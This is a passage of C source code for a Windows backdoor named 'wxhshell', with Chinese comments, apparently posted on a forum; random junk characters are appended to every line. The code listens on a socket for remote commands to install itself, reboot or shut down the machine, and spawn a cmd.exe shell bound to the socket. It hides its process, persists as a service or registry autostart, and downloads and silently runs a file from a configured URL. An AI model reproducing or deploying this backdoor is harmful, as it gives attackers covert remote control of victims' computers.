  // 帮助 2ZEDyQM  
  case '?': { bXSAZW f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @'<=E AXe  
    break; qrf90F)  
  } szCB}WY  
  // 安装 IN75zn*%  
  case 'i': { Tje(hnN  
    if(Install()) -3u ;U,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k [LV^oEg  
    else Iz[ohn!f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6{quO# !  
    break; &["e1ki  
    } )-X/"d  
  // 卸载 ]h,iyWSs  
  case 'r': { wXtp(YwlH  
    if(Uninstall()) Sm{> 8e}UE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 w6iqLr?  
    else &M:o(T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >p'{!k  
    break; K^ ALE  
    } S=j pn  
  // 显示 wxhshell 所在路径 v[r 8-0c  
  case 'p': { 3l"8_zLP  
    char svExeFile[MAX_PATH]; ;W]9DBAB  
    strcpy(svExeFile,"\n\r"); [+_>g4M~%  
      strcat(svExeFile,ExeFile); ]tzF Ob  
        send(wsh,svExeFile,strlen(svExeFile),0); 7pou(U  
    break; IdM~' Q>\  
    } A$i^/hJs  
  // 重启 q[GD K^-g  
  case 'b': { lQd7p+ 21  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T.jCF~%7F  
    if(Boot(REBOOT)) d8iq9AP\o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6bPl(.(3  
    else { 0U~*uDU  
    closesocket(wsh); Mi;Pv*  
    ExitThread(0); o{hX?,4i  
    } AvPPsN0  
    break; OJd/#KFm  
    } U(LLIyZv  
  // 关机 }V[ORGzox  
  case 'd': { l6 L?jiTl_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PQp =bX,  
    if(Boot(SHUTDOWN)) G:3szz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYi4A "$`  
    else { Tw7]   
    closesocket(wsh); Q'qX`K+@`  
    ExitThread(0); AVm+ 1  
    } px*1 3"  
    break; XDHi4i47`o  
    } 050,S`%<g8  
  // 获取shell ',c~8U#q  
  case 's': { gJCZ9{Nl  
    CmdShell(wsh); C}(@cn `L  
    closesocket(wsh); [Ky3WppR  
    ExitThread(0); bAbR0)  
    break; ,ryL( "G  
  } R1D ;  
  // 退出 u`&lTJgF/O  
  case 'x': { #y[U2s Se  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YM};85K  
    CloseIt(wsh); PfZS"yk  
    break; b\"w/'XX  
    } !LzA  
  // 离开 !sSq4K  
  case 'q': { Mc <u?H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); & +*OV:[;  
    closesocket(wsh); kY @(-  
    WSACleanup(); 7}g4ePYag  
    exit(1); X6",Xr! {  
    break; (0B?OkQ  
        } DzQ  
  } l#`G4Vf  
  } &w#!   
j:xC \b47"  
  // 提示信息 iaCV8`&q%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0ZM(heQ  
} \+l*ZNYM3  
  } Yj#tF}nPC  
l?=\9y  
  return; jj1\oyQ8  
} '3Lu_]I-  
OQ7 `n<I<)  
// shell模块句柄 .w;kB}$YC  
int CmdShell(SOCKET sock) pF4Z4?W  
{ u8]FJQ*\6+  
STARTUPINFO si; h693TS_N  
ZeroMemory(&si,sizeof(si)); ==&  y9e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2ozh!8aL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6,a H[ >W  
PROCESS_INFORMATION ProcessInfo; * <\K-NSL  
char cmdline[]="cmd"; Xv|=RNz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @phVfP"M  
  return 0; \ l#eW x  
} 5&V=$]t  
])o{!}QUl\  
// 自身启动模式 % /"n(?$ W  
int StartFromService(void) Aeb(b+=  
{ ~/]]H;;^u  
typedef struct #3QPcoxa  
{ qD4]7"9  
  DWORD ExitStatus; S0)JIrrHC  
  DWORD PebBaseAddress; &CQO+Yr$l  
  DWORD AffinityMask; Y.\x.Hg  
  DWORD BasePriority; $[A\i<#  
  ULONG UniqueProcessId; tqZ+2c<W3  
  ULONG InheritedFromUniqueProcessId; NS~;{d \  
}   PROCESS_BASIC_INFORMATION; DK\XC%~m  
\xj;{xc  
PROCNTQSIP NtQueryInformationProcess; +yp:douERi  
:-B+W9'5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d=PX}o^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N+=|WeZ  
80Dn!9j*  
  HANDLE             hProcess; RqtBz3v  
  PROCESS_BASIC_INFORMATION pbi; eHyUY&N/  
U}RBgPX!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RZzHlZ  
  if(NULL == hInst ) return 0; n7cy[%yT  
 ch8a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n4/Wd?#`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `8ac;b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s*ZE`/SM3  
} #rTUX  
  if (!NtQueryInformationProcess) return 0; Q$c6l[(g  
)1uiY f&k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e@Lxduq  
  if(!hProcess) return 0; FfdB%  
6 Rl[M+Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [OW <<6  
TI4Hu,rc  
  CloseHandle(hProcess); nt#9j',6Rn  
x9"Cm;H%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j#1G?MF  
if(hProcess==NULL) return 0; lh8Q tPe  
P.'.KZJ:WD  
HMODULE hMod; u^~7[OkE  
char procName[255]; h0'*)`;z  
unsigned long cbNeeded; vR!+ 8sy$  
@-'a{hBR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mGjB{Q+  
*M1GVhW(+  
  CloseHandle(hProcess); :V(LBH0  
v Y0bK-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~5f&<,p!  
\8`7E1d  
  return 0; // 注册表启动 >>y`ap2%V  
} H<(F$7Q!\  
68Fl/   
// 主模块 j uA@"SG  
int StartWxhshell(LPSTR lpCmdLine) 2 DQVl  
{ c ZYy+  
  SOCKET wsl;  zm"  
BOOL val=TRUE; RbAl_xKI  
  int port=0; 9D T<  
  struct sockaddr_in door; %MeAa?G-#  
jE\ G_>  
  if(wscfg.ws_autoins) Install(); Alxf;[s  
Ghgn<YG  
port=atoi(lpCmdLine); HwUaaK   
?woL17Gt  
if(port<=0) port=wscfg.ws_port; wa"0`a:`;  
rwRZGd *p  
  WSADATA data; ^dI;B27E*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CS7b3p!I  
CO wcus  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VeGSr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L4>14D\  
  door.sin_family = AF_INET; 9>)b6)J D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^kKLi  
  door.sin_port = htons(port); 9/k2 zXY  
>)kKP8l7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V<QpC5  
closesocket(wsl); b^/u9  
return 1; )|~&(+Q?]  
} }r: "X<`  
n-Iz!;q  
  if(listen(wsl,2) == INVALID_SOCKET) { Kh]es,$D  
closesocket(wsl); #a e@VedM  
return 1; q+?&w'8  
} WqeWjI.2  
  Wxhshell(wsl); /Q1 b%C  
  WSACleanup(); _3`G ZeGV  
%;[DMc/  
return 0; *k{Llq  
b)diYsTH  
} ^?cu9S3  
yu;EL>G_AY  
// 以NT服务方式启动 [V'c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Te\6qM  
{ Tn7Mt7h  
DWORD   status = 0; Y~UuT8-c  
  DWORD   specificError = 0xfffffff; `% 9Y)a/e  
|! 9~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w <r*&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +(+lbCW/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xV> .]  
  serviceStatus.dwWin32ExitCode     = 0; Xf4QLw/r  
  serviceStatus.dwServiceSpecificExitCode = 0; G_F_TNO  
  serviceStatus.dwCheckPoint       = 0; *~PB  
  serviceStatus.dwWaitHint       = 0; mdc?~??8  
A;co1,]gR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -H6 0T,o  
  if (hServiceStatusHandle==0) return; G*=HjLmZg  
sp\6-*F  
status = GetLastError(); Ua}R3^_)a  
  if (status!=NO_ERROR) 6s@!Yn|?  
{ v}DNeIh~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vPnS`&  
    serviceStatus.dwCheckPoint       = 0; MXA?rjd0  
    serviceStatus.dwWaitHint       = 0; y" =?l  
    serviceStatus.dwWin32ExitCode     = status; 4@{;z4*`  
    serviceStatus.dwServiceSpecificExitCode = specificError; D$FTnY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H:G``Vq;0m  
    return; D <iG*I  
  } (%^C}`|EA  
nAP*w6m0j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ozOc6  
  serviceStatus.dwCheckPoint       = 0; so` \e^d  
  serviceStatus.dwWaitHint       = 0; Xe4   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3o rSk  
} Hcf"u&%  
gW~YB2 $  
// 处理NT服务事件,比如:启动、停止 a!o%x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rCo}^M4Pb  
{ .U{}N%S  
switch(fdwControl) ~BI`{/O=  
{ #66i!}  
case SERVICE_CONTROL_STOP: Ku'a,\7z  
  serviceStatus.dwWin32ExitCode = 0; (cVIjo+::  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }0&Fu?sP  
  serviceStatus.dwCheckPoint   = 0; gbdzS6XW~  
  serviceStatus.dwWaitHint     = 0; ub?dfS9$_  
  {  KcT(/!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -o/Vp>_UOE  
  } LuRCkKJ  
  return; / :$WOQ  
case SERVICE_CONTROL_PAUSE: x1~AY/)v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IR"C?  
  break; 7^>~k}H  
case SERVICE_CONTROL_CONTINUE: Ktk?(49  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gPn0-)<  
  break; +=W(c8~P  
case SERVICE_CONTROL_INTERROGATE: }X9 &!A8z  
  break; P*k n}:  
}; 3uw3 [ SR1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N!7?D'y   
} 3ko h!q+  
5B%KiE&p  
// 标准应用程序主函数 xZ'C(~t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o"qxR'V  
{ O=K0KOj  
\>\ERVEd  
// 获取操作系统版本 z&9ljQ iF  
OsIsNt=GetOsVer(); whN<{AG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >JNdtP8s/1  
CL7_3^2qI  
  // 从命令行安装 \6AM?}v  
  if(strpbrk(lpCmdLine,"iI")) Install(); !}} )f/  
K7s[Fa6J  
  // 下载执行文件 W /v &V#  
if(wscfg.ws_downexe) { 0<V/[$}\D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $JOtUB{  
  WinExec(wscfg.ws_filenam,SW_HIDE); y:E$n!  
} =Fe4-B?I  
{yNeZXA>  
if(!OsIsNt) { z}SJ~WY'[  
// 如果时win9x,隐藏进程并且设置为注册表启动 k/F#-},Q.  
HideProc(); e>_a (  
StartWxhshell(lpCmdLine); sC"w{_D@*4  
} 6# bTlmcg  
else otaRA  
  if(StartFromService()) ;~1xhpTk  
  // 以服务方式启动 w.rcYywI  
  StartServiceCtrlDispatcher(DispatchTable); B|o@ |zF  
else J<0sT=/2$  
  // 普通方式启动 QUkP&sz  
  StartWxhshell(lpCmdLine); r7R39#  
3Z~_6P^ +N  
return 0; }S*]#jr&  
}
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只看该作者 1 发表于: 2006-10-10
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